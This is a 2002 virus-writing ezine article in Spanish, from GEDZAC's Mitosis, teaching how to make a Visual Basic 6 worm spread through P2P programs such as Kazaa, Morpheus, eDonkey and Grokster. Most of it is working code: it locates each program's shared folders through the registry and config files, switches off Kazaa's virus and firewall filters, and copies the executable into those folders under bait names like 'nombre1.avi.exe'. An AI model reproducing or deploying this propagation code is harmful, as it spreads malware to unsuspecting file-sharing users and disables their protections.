Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 008
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Infeccion de redes P2P con VB 6.0
Autor : MachineDramon
Válido para : Microsoft Visual Basic 6.0
--------------------------------------------------------------------------------------------
Si tenemos instalado algunos de estos programas como Kazaa, Bearshare, Morpheus
y Grokster especialmente, es posible que nos hallan instalado un spyware, y
para mayor seguridad(al probar estos programas se me instalaron 5 spywares)
no esta demas darnos un scan con el Ad-aware, que podemos encontrar gratis
en http://www.lavasoft.de ,muy buen programa para eliminar el software espia.
La infeccion p2p, se basa en copiarnos a los folders compartidos de programas
p2p con nombres que puedan ser atractivos para otros usarios o infectar los
ya existentes(en caso de infectores), o con nombres de archivos ya existentes
añadiendo la extencion exe, por ejemplo.
Luego el otro Usuario bajara el falso archivo de video por ejemplo:
Gedzac.avi.exe y lo ejecutara, accionandose el virus.
Para infectar las redes p2p, necesitamos saber las rutas de las carpetas
compartidas, normalmente hay rutas por defecto como en el caso de Kazaa:
"C:\Archivos de programa\KaZaA\My Shared Folder"
Esta sería la ruta por defecto. Pero si al usuario se le ocurrio instalar
el kazza en el disco D o ademas compartir otra carpeta, por ejemplo:
"C:\Mi Musica", entonces poner rutas por defecto nos puede llevar a que
nuestro programa falle.
Este Articulo tratara sobre la manera de averiguar las rutas en 6 programas
p2p, una vez conociendolas, ya solo quedara copiarse alli, con los nombres
que elijamos.
Para eso definiremos primero unas funciones y procedimientos que nos seran
utiles para ello:
Declaramos en la parte de Declaraciones Generales la funcion Api para leer
archivos ini(debe ir en una sola linea):
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal
lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As
String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Luego escribimos la funcion que usara la funcion api y nos dara el valor
que queremos leer:
Function IniR(NS, NK, ND)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos K como valor de cadena y la igualamos al argumento NK
Dim K As String
K = NK
'Declaramos St como valor de cadena, con 400 espacios
Dim St As String * 400
'Declaramos i como valor entero largo
Dim i As Long
'Llamamos a la funcion api
i = GetPrivateProfileString(NS, K, "", St, Len(St), ND)
'Asignamos St como valor que devolvera la funcion (quitandole los espacios
'en blanco que sobraron de los 400, con la funcion left, que recortara la
'cadena St, dandonos solo los espacios ocupados a la izquierda, cuyo numero
se almacena en i)
IniR = Left(St, i)
End Function
A esta funcion debemos pasarle como argumentos el nombre de seccion, de clave
y la ruta del ini, en ese orden.
Por ejemplo si tenemos un ini llamado autorun.ini en el disco C, que dice:
[AutoRun]
icon=C:\WINDOWS\CURSORS\VIRII.ICO
y queremos saber que dice la clave icon, que esta dentro de la seccion
AutoRun, entonces la llamada a la funcion seria:
IniR("AutoRun","Icon","C:\AutoRun.ini")
y nos devolveria el valor: "C:\WINDOWS\CURSORS\VIRII.ICO"
Tambien escribimos funciones para leer y escribir el registro.
A esta solo hay que pasarle la clave que queremos leer y nos devolvera el
valor.
Function Rr(x)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Wscript.shell"
Set w = CreateObject("Wscript.shell")
'Asignamos como valor que devolvera la funcion al valor de la clave leida
Rr = w.regread(x)
'Liberamos el objecto "Wscript.shell"
Set w = Nothing
End Function
Este es el procedimiento para escribir en el registro, solo hay que pasarle
la clave y el valor que queremos escribir y "" si queremos escribir un valor
de cadena o "REG_DWORD" para un valor hexadecimal.
La llamada al procedimiento para escribir como cadena seria:
Rw "Clave", "valor", ""
La llamada al procedimiento para escribir como hexadecimal seria:
Rw "Clave", "valor", "REG_DWORD"
Sub Rw(x, y, z)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Wscript.shell"
Set w = CreateObject("Wscript.shell")
'Esto lo hacemos para saber que valores vamos a escribir
'como cadena o como hexadecimal
if z <> "" then
'Si z diferente a "", entonces se escribe como hexadecimal
w.Regwrite x, y, "REG_DWORD"
else
Si z igual a "", entonces se escribe como cadena
w.Regwrite x, y
end if
'Liberamos el objecto "Wscript.shell"
Set w = Nothing
End Sub
Ahora vamos ha comprobar que esten instalados los programas p2p:
La forma usada es leer una clave del registro que crea el programa,
y guardarlo en la varible IsD, si la clave no existe IsD tendra valor ""
entonces con la estructura if comprobamos que si Isd es diferente al
valor "" , la aplicacion esta instalada y procedemos a buscar la ruta
de su folder compartido.
Sub P2P()
On Error Resume Next
'BearShare
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado bearshare.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\BearShare\InstallDir")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Bear"
Bear IsD
End If
'Kazaa
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Kazaa.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ExeDir")
'Si la clave existe
If IsD <> "" Then
'Llamamos al procedimiento kazaa
Kazaa
End If
'Morpheus
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Morpheus.
IsD = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\mscrp\morpheushome")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Morpheus"
Morpheus IsD
End If
'Icq
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado ICQ.
IsD = Rr("HKEY_LOCAL_MACHINE\Software\Mirabilis\ICQ\Install\General\InstalledDir")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Icq"
Icq IsD
End If
'Edonkey
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Edonkey.
IsD = Rr("HKEY_LOCAL_MACHINE\Software\CLASSES\ed2k\DefaultIcon\")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Edonkey"
Edonkey IsD
End If
'Filetopia
'Tratamos de leer la clave del registro que contiene la ruta donde
'esta instalado Filetopia
IsD = Rr("HKEY_CLASSES_ROOT\ftopia\shell\open\command\")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Filetopia"
Filetopia IsD
End If
'Grokster
'Tratamos de leer la clave del registro que contiene la ruta donde
IsD = Rr("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Grokster\UninstallString")
'Si la clave existe
If IsD <> "" Then
'Le pasamos el valor de la ruta de instalacion al procedimiento "Grokster"
Grokster IsD
End If
End Sub
Ahora vamos a ver los procedimientos para obtener las rutas de estos
programas.
BearShare: http://www.bearshare.com/
Este programa almacena su ruta de istalacion en la clave de registro:
HKEY_LOCAL_MACHINE\SOFTWARE\BearShare\InstallDir
y las rutas de los folders compartidos en el archivo FreePeers.ini, que se
encuentra en su directorio de istalacion. el contenido de la parte de
FreePeers.ini que contiene los folders compartidos es parecido a esto:
[Sharing]
szSharedDir1 = "c:\folder1" ; shared directory
szSharedDir2 = "c:\folder2" ; shared directory
szSharedDir3 = "" ; shared directory
szSharedDir4 = "" ; shared directory
szSharedDir5 = "" ; shared directory
Como vemos las rutas estan dentro de la seccion Sharing y claves szSharedDir1
szSharedDir2, szSharedDir3, etc. del ini, para eso usaremos la funcion para
leer inis que declaramos antes. El procedimiento sería algo asi:
Sub Bear(Xd)
'Si hay errores pasa a la siquiente istruccion
On Error Resume Next
'Iguala i a la ruta de freePeers.ini
i = Xd & "\" & "FreePeers.ini"
'Si freePeers.ini existe
If Dir(i) <> "" Then
'Leemos la clave "szSharedDir1", usando la funcion para leer inis y
'almacenamos el valor en Sf
Sf = IniR("Sharing", "szSharedDir1", i)
'Sf presentara un valor:> "c:\folder1" ; shared directory
'y para obtener la ruta debemos trabajar esta cadena para obtener solo el
'valor:> c:\folder1
Sf = Right(Left(Sf, InStr(Sf, ";") - 3), Len(Left(Sf, InStr(Sf, ";") - 3)) - 1)
'Ahora que tenemos la ruta en la variable Sf, le agregamos un "\" y la pasa-
'mos al procedimiento InfectP2P
InfectP2P (Sf & "\")
'Aqui se hace lo mismo con la clave "szSharedDir2" si la ubiere
Sf = IniR("Sharing", "szSharedDir2", i)
Sf = Right(Left(Sf, InStr(Sf, ";") - 3), Len(Left(Sf, InStr(Sf, ";") - 3)) - 1)
InfectP2P (Sf & "\")
End If
End Sub
KaZaA: http://www.kazaa.com/
Este programa almacena su ruta de instalacion en la clave del registro:
HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ExeDir
y las rutas de sus folders compartidos en:
HKEY_CURRENT_USER\Software\KAZAA\LocalContent\Dir0 -->puede haber otras
claves ademas de esta como Dir1, Dir2, etc o no existir ninguna
HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ShareDir -->esta existe siempre
Asi que lo unico que tenemos que hacer es leer esas claves del registro
y establecer la clave:
HKEY_CURRENT_USER\Software\KAZAA\LocalContent\DisableSharing
a 0 , para activar la comparticion de archivos en caso de no estarlo.
para eso usaremos las funciones para leer y escribir en el registro.
Sub Kazaa()
'Si ahi error pasar a la siguiente instruccion
On Error Resume Next
'Establece a 0 la clave para activar la comparticion de archivos (0 es un
'valor "REG_DWORD"(hexadecimal) en este caso, no uno de cadena)
Rw "HKEY_CURRENT_USER\Software\KAZAA\LocalContent\DisableSharing", 0, "REG_DWORD"
'Desabilitamos la proteccion contra virus y firewall, poniendolo a 0
Rw "HKEY_CURRENT_USER\Software\KAZAA\ResultsFilter\virus_filter", 0, "REG_DWORD"
Rw "HKEY_CURRENT_USER\Software\KAZAA\ResultsFilter\firewall_filter", 0, "REG_DWORD"
'Lee el valor de la clave si la ubiere y lo iguala a Xd
Xd = Rr("HKEY_CURRENT_USER\Software\KAZAA\LocalContent\Dir0")
'Xd contendra un valor:> 012345:c:\folder
'Trabajamos la cadena, para solo obtener:> c:\folder
'le añadimos "\" y
Sf = Right(Xd, Len(Xd) - 7) & "\"
'La pasamos al procedimiento InfectP2P
InfectP2P (Sf)
'Lee el valor de la clave y lo iguala a Xd
Xd = Rr("HKEY_LOCAL_MACHINE\SOFTWARE\KAZAA\CloudLoad\ShareDir")
'Tendremos un valor:> C:\Archivos de programa\KaZaA\My Shared Folder
Sf = Xd
'Le añadimos "\" y lo pasamos al procedimiento InfectP2P
InfectP2P (Sf & "\")
End Sub
Morpheus: http://www.morpheus.com/
El programa almacena su ruta de instalacion en la clave del registro:
HKEY_LOCAL_MACHINE\SOFTWARE\mscrp\morpheushome
Una ruta por defecto sería el valor de esa clave + "\My Shared Folder\"
Las otras rutas las almacena en el archivo share.cfg, que se encuentra en
su ruta de instalacion, el archivo share.cfg, se encuentra semiencriptado.
Aqui el contenido del que tengo en mi pc:
¬í sr 'javax.swing.tree.DefaultMutableTreeNodeÄX¿üò¨qà Z allowsChildrenL childrent Ljava/util/Vector;L parentt "Ljavax/swing/tree/MutableTreeNode;xpsr java.util.VectorÙ}[;¯ I capacityIncrementI
elementCount[
elementDatat [Ljava/lang/Object;xp ur [Ljava.lang.Object;ÎXs)l xp
sq ~ sq ~ uq ~
sq ~ sq ~ uq ~
sr +com.pcpnetworks.pcp.gui.FileSetInfoTreeNode L bt Ljavax/swing/tree/TreeNode;L ct (Lcom/pcpnetworks/pcp/common/FileSetInfo;L dq ~ xr +com.pcpnetworks.pcp.common.SafeSerializable xpq ~
sr &com.pcpnetworks.pcp.common.FileSetInfo Z hL bt Ljava/lang/String;L cq ~ L dq ~ L eq ~ L gt &Lcom/pcpnetworks/pcp/content/Metadata;L iq ~ xq ~ t sst LWRSKKZ4N73URQMHZVFHKVRGRTOKZ6XCpsq ~ uq ~
sr #com.pcpnetworks.pcp.common.FileInfo J eD hJ jL bt Ljava/net/URL;L cq ~ L dq ~ L fq ~ L gq ~ L iq ~ xq ~ ðjµ0sr
java.net.URL%76üèr I hashCodeI portL authorityq ~ L fileq ~ L hostq ~ L protocolq ~ L refq ~ xpÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive1.txtq ~ !t filepxt
archive1.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ $q ~ &psq ~ uq ~
q ~ pppppppppsr $com.pcpnetworks.pcp.content.Metadata L bq ~ L cq ~ xq ~ t DOt .<k><hk></hk><l m="Title" n="archive1"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive2.txtq ~ 0t filepxt
archive2.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ 3q ~ 5psq ~ uq ~
q ~ .pppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive2"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive3.txtq ~ >t filepxt
archive3.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ Aq ~ Cpsq ~ uq ~
q ~ <pppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive3"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive4.txtq ~ Lt filepxt
archive4.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ Oq ~ Qpsq ~ uq ~
q ~ Jpppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive4"></l></k>q ~ sq ~ ðjµ0sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Carchive5.txtq ~ Zt filepxt
archive5.txtt t 3I42H3S6NNFQ2MSVX7XZKYAYSCX5QBYJpsq ~ q ~ ]q ~ _psq ~ uq ~
q ~ Xpppppppppsq ~ *t DOt .<k><hk></hk><l m="Title" n="archive5"></l></k>q ~ sq ~ N ðð¢ sq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5CWS_FTP.LOGq ~ ht filepxt
WS_FTP.LOGt t UCKGWUTTUBJWITOKCWQKTWVBGY5MWVW2psq ~ q ~ kq ~ mpsq ~ uq ~
q ~ fpppppppppsq ~ *t AAAt ,<k><hk></hk><l m="Title" n="WS_FTP"></l></k>q ~ sq ~ © ðïÀsq ~ ÿÿÿÿÿÿÿÿt localhostt C%3A%5CMorpheus%5Cupdatevir.jpgq ~ vt filepxt
updatevir.jpgt t 2CBNON2NTFZNW72BSRSXM4TRJ2JFEKCVpsq ~ q ~ yq ~ {psq ~ uq ~
q ~ tpppppppppsq ~ *t IMt /<k><hk></hk><l m="Title" n="updatevir"></l></k>q ~ pppsq ~ *t AUt Â<k><l m="Title" n="ss"></l><l m="Artist" n="s"></l><l m="Album" n="s"></l><l m="Keywords" n="s"></l><l m="Description" n="s"></l><l m="Release Year" n="1111"></l><l m="Bitrate" n="1111"></l></k>psq ~ uq ~
sq ~ pq ~ 'sq ~ uq ~
ppppppppppsq ~ pq ~ 6sq ~ uq ~
ppppppppppsq ~ pq ~ Dsq ~ uq ~
ppppppppppsq ~ pq ~ Rsq ~ uq ~
ppppppppppsq ~ pq ~ `sq ~ uq ~
ppppppppppsq ~ pq ~ nsq ~ uq ~
ppppppppppsq ~ pq ~ |sq ~ uq ~
ppppppppppppppppppppppq ~ uq ~ t
userObjectt sxpppppppppq ~ uq ~ q ~ t Audio (1 share, 0.2 KB)xsq ~ pq ~ uq ~ q ~ t Documentsxsq ~ pq ~ uq ~ q ~ t Imagesxsq ~ pq ~ uq ~ q ~ t Softwarexsq ~ pq ~ uq ~ q ~ t Videoxsq ~ pq ~ uq ~ q ~ t Otherxpppppuq ~ q ~ t Shared Items (1 share, 0.2 KB)x
De ahi extraeremos la otra ruta de un folder compartido si lo ubiere(puede
no haberla.
Sub Morpheus(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Abrimos el archivo share.cfg
Set Sh = f.OpenTextFile(Xd & "\share.cfg")
'Y lo empezamos a leer linea a linea mediante un bucle Do, al que le indicamos
'que mientras el archivo contenga lienas siga leyendolo(.AtendOfstream = False)
'al terminar el archivo nos dara(.AtendOfstream = True) y terminara el bucle.
Do While Sh.AtendOfstream = False
'Almacenamos el valor de la linea en h
h = Sh.ReadLine
'Hasta encontrar la frase "localhostt" en alguna linea
If InStr(h, "localhostt") <> 0 Then
'Si encontramos esa frase en alguna linea salimos del bucle, teniendo en h
'el valor de la linea que contiene la frase.
Exit Do
End If
Loop
'Cerramos el archivo
Sh.Close
'Al estar semiencriptado el archivo, tenemos que hacer un trabajo un poco
'grande para obtener la ruta:
C1 = InStr(h, "localhostt")
h = Right(h, Len(h) - (C1 + 11))
For i = Len(h) To 1 Step -1
M = M & Mid(h, i, 1)
Next
C2 = InStr(M, "5%")
h = Right(M, Len(M) - (C2 + 1))
For x = Len(h) To 1 Step -1
K = K & Mid(h, x, 1)
Next
D1 = Left(K, 1)
K = Right(K, Len(K) - 7)
Df = "\" & K
Df = Replace(Df, "%5C", "\")
Sf = D1 & ":" & Df
Sf = Replace(Sf, "+", Space(1)) & "\"
Luego de eso ya tenemos en Sf el valor del folder compartido y se lo pasamos
al procedimiento InfectP2P
InfectP2P (Sf)
'Ahora tambien le pasamos la ruta del folder compartido por defecto que es
'Ruta donde esta instalado Morpheus(almacenado en Xd) + \My Shared Folder\
Sf = Xd & "\My Shared Folder\"
InfectP2P (Sf)
'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub
ICQ: http://web.icq.com/
El programa almacena su ruta de instalacion en la clave:
HKEY_LOCAL_MACHINE\Software\Mirabilis\ICQ\Install\General\InstalledDir
y al parecer solo considera como folder compartido al que viene por defecto
"shared files", que se encuentra en su directorio de instalacion.
ICQ no viene con la opcion de compartir archivos activada, hay que activar-
la, el programa debe guardar esa configuracion en alguna parte, aun no
he podido en contrarla, por lo que la infeccion solo funcionara en ICQ con
la opcion activada por el usuario, si alguien supiere la forma de activarla,
mediante el virus favor de escribirme a Sachiel2015@latinmail.com
Sub Icq(Xd)
'Si error pasa a la siguiente instruccion
On Error Resume Next
'Le pasamos al procedimiento InfectP2P la ruta donde esta instalado ICQ
'(almacenado en Xd) + \shared files\(folder por defecto)
InfectP2P (Xd & "\shared files\")
End Sub
Grokster: http://www.grokster.com/
No he Logrado encontrar una clave en el reg que tenga la ruta de instalacion
solamente, pero esta clave contiene:>
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Grokster\UninstallString
un valor:> C:\ARCHIV~1\GROKSTER\uninstall.exe
que tendremos que manipular para solo tener:> C:\ARCHIV~1\GROKSTER
que es la ruta de instalacion.
El folder compartido por defecto se encuentra dentro de la ruta de instalacion
y se llama "My Grokster"
El segundo folder compartido en caso de haberlo, esta en la clave:
HKEY_CURRENT_USER\Software\Grokster\LocalContent\Dir0
que contiene un valor:> 012345:c:\folder
que habremos de manipular para solo obtener:> c:\folder
Sub Grokster(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Manipulamos el valor de la clave que tenemos en Xd para obtener la ruta de
'instalacion.
Sf = Left(Xd, Len(Xd) - 14)
'A la ruta de instalacion le añadimos el folder compartido por defecto y
'la pasamos a InfectP2P
Sf = Sf & "\My Grokster\"
InfectP2P (Sf)
'Leemos la clave del registro que tendria la ruta del segundo folder
'compartido en caso de haberlo.
Sf = Rr("HKEY_CURRENT_USER\Software\Grokster\LocalContent\Dir0")
'La manipulamos para obtener la ruta y la pasamos a InfectP2P
Sf = Right(Sf, Len(Sf) - 7) & "\"
InfectP2P (Sf)
End Sub
Edonkey: http://www.edonkey2000.com/
No he logrado encontrar la ruta de instalacion propiamente dicha en el
registro, pero esta clave la contiene:
HKEY_LOCAL_MACHINE\Software\CLASSES\ed2k\DefaultIcon\
esta clave contiene un valor semejante a:>
"C:\Archivos de programa\eDonkey2000\gdonkey.exe"
Tendremos que manipular el valor para solo obtener la ruta:>
C:\Archivos de programa\eDonkey2000\
Y almacena las ruta de los folderes compartidos en el archivo "share.dat"
que se encuentra en su direcorio de instalacion. El contenido del archivo
es parecido a este:
, C:\ARCHIVOS DE PROGRAMA\EDONKEY2000\incoming
C:\Edonkey E:\folder
El procedimiento siguiente sacara 2 rutas de folders compartidos del archivo
el primero y el ultimo, osea si es que hay 1 folder, sacara un solo folder
si hay 2 el 1° y el 2° y si hay 3 el 1° y el 3° y así sucesivamente.
Sub Edonkey(Xd)
'Si error pasar a la siguiente instruccion
On Error Resume Next
'Declaramos variables E y f
Dim E As String: Dim f
'Manipulamos el valor de Xd, para obtener la ruta de instalacion y la
'guardamos en E
E = Mid(Xd, 2)
E = Left(E, Len(E) - 12)
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.FileSystemObject")
'Abrimos el archivo "share.dat"
Set D = f.OpenTextFile(E & "share.dat")
'Lo leemos linea a linea hasta el final del archivo, almacenando el valor de
'las lineas en la variable S
Do While D.AtendOfstream <> True
'Al estar S = S + Linea + enter, se almacena el valor de la linea y se le da
'un enter y se añade el valor de la linea siguiente, y así hasta el final del
'archivo
S = S & D.ReadLine & vbCrLf
'Colocamos DoEvents, para darle tiempo a windows de que procese otras ordenes
'y para prevenir que se cuelgue el programa.
DoEvents
Loop
'Cerramos el archivo
D.Close
'Mediante la funcion Split, convertimos cada linea en un valor de una matrix
'de varibles, cada linea numerada con un digito(indice) a partir de 0
'La funcion Split separa un valor en partes, dividiendolo al encontrar un
'carater señalado, en este caso vbCrlf(enter) y asigna cada parte a un indice
'de la matrix de variables, Sintaxis:> Split(valor,caracter buscado como marca de division)
S = Split(S, vbCrLf)
'Ahora con la funcion Ubound, la cual nos dara el indice más alto de la matrix
'evaluamos cuantos folderes compartidos hay.
'Si el mayor indice es mayor que 1 entonces hay mas de un folder y sacaremos
'2 rutas
If UBound(S) > 1 Then
'Enviamos la primera ruta al procedimiento InfectP2P
InfectP2P Mid(S(0), 3) & "\"
'Sacamos la segunda ruta y la enviamos al procedimiento InfectP2P
V = InStrRev(S(1), ":")
A = Mid(S(1), V - 1)
InfectP2P A & "\"
'Si el mayor indice no es mayor que 1, entonces
Else
'Solo enviamos la primera ruta
InfectP2P Mid(S(0), 3) & "\"
End If
'Liberamos el Objeto "Scripting.FileSystemObject"
Set f = Nothing
End Sub
Filetopia: http://www.filetopia.org/
Este programa cuando se instala con las opciones por defecto o marcando la
casilla de crear referencias en el registro para archivos y urls.
Almacena su ruta de instalacion en:
HKEY_CLASSES_ROOT\ftopia\shell\open\command\
Clave que contiene un valor:>
C:\Archivos de programa\Filetopia3\filetopia.exe %1
el cual debe ser manipulado para obtener:>
C:\Archivos de programa\Filetopia3\
Guarda las rutas de los folderes compartidos en el archivo filetopia.ini,
la parte del archivo que nos interesa es algo así:
[ServerInclude]
1=C:\ARCHIVOS DE PROGRAMA\FILETOPIA3\Files\
2=C:\Filecopia\
3=.....
Para eso usaremos la funcion para leer inis, y leeremos las claves 1 y 2
Sub Filetopia(Xd)
'Si error pasa a la siguiente instrucion
On Error Resume Next
'Declaramos E y Sf como valores de cadena
Dim E, Sf As String
'Manipulamos Xd para obtener la ruta de instalcion
E = Left(Xd, Len(Xd) - 16)
'Si "Filetopia.INI" existe
if Dir(E & "Filetopia.INI") <> "" then
'Leemos el valor de la clave 1(que contiene una ruta) del ini, y la asignamos
'a Sf, notese que a la funcion se le pasa la seccion(ServerInclude), la clave(1),
'y la ruta del ini(E & "Filetopia.INI")
Sf = IniR("ServerInclude", "1", E & "Filetopia.INI")
'Pasamos Sf al procedimiento InfectP2P
InfectP2P Sf
'Hacemos lo mismo con la segunda ruta.
Sf = IniR("ServerInclude", "2", E & "Filetopia.INI")
InfectP2P Sf
end if
End Sub
Procedimiento InfectP2P:
Este procedimiento solo sirve para copiarse a la ruta del folder compartido
y puede ser variado o modificado.
'Al procedimiento hay que pasarle la ruta del folder compartido
Sub InfectP2P(Xd)
'Si error pasar a la siguiente instruccion
On error resume Next
'Si la ruta tiene más de 5 caracteres(para verificar que sea una ruta valida)
if len(xd) >= 3 then
'Declaramos una matrix de varibles con indices del 1 al 3(pueden ser tantos
'como queramos)
Dim X(1 to 3)
'Definimos el valor de los indices de la matrix
X(1) ="nombre1.avi.exe"
X(2) ="nombre2.avi.exe"
X(3) ="nombre3.avi.exe"
'Iniciamos un contador for, para copiarnos al folder compartido
For i = 1 to 3
'Si el archivo no existe(para no volvernos a copiar si ya lo hicimos antes)
if dir(Xd & X(i)) = "" then
'Nos copiamos al folder compartido con el nombre contenido en X(i),
'i va tomando los valores de 1 a 3(indicando el n° de indice de la matrix,
'para copiarnos con los valores(nombres) que almacenamos en la matrix)
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & X(i)
end if
next
end if
End Sub
Tambien se podria listar los archivos del folder compartido para copiarse
con esos nombres, añadiendo una funcion más:
Sub InfectP2P(Xd)
'Esto es lo mismo de el procedimiento anterior
On Error Resume Next
If Len(Xd) >= 3 Then
Dim X(1 to 3)
X(1) ="nombre1.avi.exe"
X(2) ="nombre2.avi.exe"
X(3) ="nombre3.avi.exe"
For i = 1 to 3
if dir(Xd & X(i)) = "" then
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & X(i)
end if
next
'Iniciamos un contador for, para copiarnos al folder compartido, y llamamos
'a la funcion LFiles(le pasamos la ruta del folder), y nos dara los nombres
'de los archivos que esten allí.
For Each w In LFiles(Xd)
'Si el archivo no existe(para no volvernos a copiar si ya lo hicimos antes)
If Dir(Xd & w & ".exe") = "" Then
'Nos copiamos al folder, con el nombre del archivo, añadiendo la extencion
'exe, w va tomando el valor de los nombres de archivos presentes en el folder
'a medida que avanza el contador
FileCopy App.Path & "\" & App.ExeName & ".exe", Xd & w & ".exe"
End If
Next
End If
End Sub
'A la funcion hay que pasarle la ruta del folder compartido
Function LFiles(XDir)
'Si hay error pasar a la siguiente instruccion
On Error Resume Next
'Declarar varibles, a la matrix x(), aun no le asignamos numero de indices
'ya que no conocemos el numero de archivos presente en el folder.
Dim f, Xf, Xfs, x()
'Declaramos el objeto "Scripting.FileSystemObject"
Set f = CreateObject("Scripting.filesystemobject")
'Igualamos Xf al folder
Set Xf = f.GetFolder(XDir)
'Igualamos Xfs a los files en el folder
Set Xfs = Xf.Files
'Ahora ya le asignamos un numero de indices o elementos a la matrix x()
'para esto usaremos la sentencia Redim, y le indicamos que los indices
'vayan de 1 al numero de archivos en el folder(Xf.Files.Count)
ReDim x(1 To (Xf.Files.Count))
'Igualamos A a 1
A = 1
'Iniciamos un contador for para listar los archivos en el folder, donde
'k ira tomando el valor del archivo a medida que avance el contador.
For Each K In Xfs
'Igulamos Ex a la extencion del archivo en letras minusculas
Ex = LCase(f.GetExtensionName(K.Path))
'Si la extencion(Ex) es diferente de exe listamos el archivo, con estos
'procedimientos tenemos el problema de al no saber con que nombres nos
'copiamos, no podemos saber si ya nos habiamos copiado antes, entonces
'obviamos todos los exes, para evitar tomar el nombre de una de nuestras
'copias, ya que si no a la larga tendriamos archivos que se llamarian:>
'virus.exe.exe.exe.exe.exe.exe....
'Aunque tambien perdemos los nombres de los exes que no sean copias nuestras
If (Ex <> "exe") Then
'Asignamos el nombre del archivo(K.name), y lo asignamos a un indice de la
'matrix empezando por el 1
x(A) = K.Name
'Igualamos A a su valor + 1
A = A + 1
End If
Next
'Liberamos el objeto "Scripting.FileSystemObject"
Set f = Nothing
'Asignamos la matrix como valor que devolvera la funcion
LFiles = x
End Function
(C) MITOSIS #1 E-Zine/GEDZAC 2002
